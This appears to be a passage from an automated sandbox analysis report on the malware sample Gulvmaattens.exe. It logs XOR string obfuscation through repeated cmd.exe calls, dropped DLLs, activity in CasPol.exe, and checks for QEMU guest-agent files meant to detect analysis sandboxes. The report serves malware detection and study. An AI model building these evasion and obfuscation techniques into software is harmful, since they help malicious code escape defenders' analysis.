Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x4B^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x0B^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x61^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7D^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x00^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x01^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x70^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x01^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x4B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x70^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x61^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA8249 push ebx; iretd 1_2_02AA824E
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA6259 push cs; ret 1_2_02AA62A8
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA2C71 push ds; retf 1_2_02AA2C72
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1D56 push edx; ret 1_2_02AA1D57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E2142F push edi; retn 0000h 143_2_00E21431
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E2BEE8 push es; retn 00E2h 143_2_00E2C431
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1CFDC5DB push eax; ret 143_2_1CFDC61A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1CFDC5AB push eax; ret 143_2_1CFDC61A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1CFDC63B push eax; ret 143_2_1CFDC64A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1CFDC62B push eax; ret 143_2_1CFDC63A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1CFDC61B push eax; ret 143_2_1CFDC62A
PE file contains sections with non-standard names
Source: vfslog.dll.1.dr Static PE information: section name: .xdata
Source: vfslog.dll.1.dr Static PE information: section name: /4
Source: vfslog.dll.1.dr Static PE information: section name: /19
Source: vfslog.dll.1.dr Static PE information: section name: /31
Source: vfslog.dll.1.dr Static PE information: section name: /45
Source: vfslog.dll.1.dr Static PE information: section name: /57
Source: vfslog.dll.1.dr Static PE information: section name: /70
Source: vfslog.dll.1.dr Static PE information: section name: /81
Source: vfslog.dll.1.dr Static PE information: section name: /92
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_71401B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 1_2_71401B5F
Binary contains a suspicious time stamp
Source: sqmapi.dll.1.dr Static PE information: 0xCBF26285 [Sun Jun 5 13:03:01 2078 UTC]
Drops PE files
Source: C:\Users\user\Desktop\Gulvmaattens.exe File created: C:\Users\user\AppData\Local\Temp\nskEE19.tmp\nsExec.dll Jump to dropped file
Source: C:\Users\user\Desktop\Gulvmaattens.exe File created: C:\Users\user\Falder99\Interelectrode\Overvejendes\sqmapi.dll Jump to dropped file
Source: C:\Users\user\Desktop\Gulvmaattens.exe File created: C:\Users\user\Falder99\Interelectrode\Overvejendes\vfslog.dll Jump to dropped file
Source: C:\Users\user\Desktop\Gulvmaattens.exe File created: C:\Users\user\AppData\Local\Temp\nskEE19.tmp\System.dll Jump to dropped file
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Mass process execution to delay analysis
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x61^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7D^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7F^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x00^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x01^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51"
Tries to detect Any.run
Source: C:\Users\user\Desktop\Gulvmaattens.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
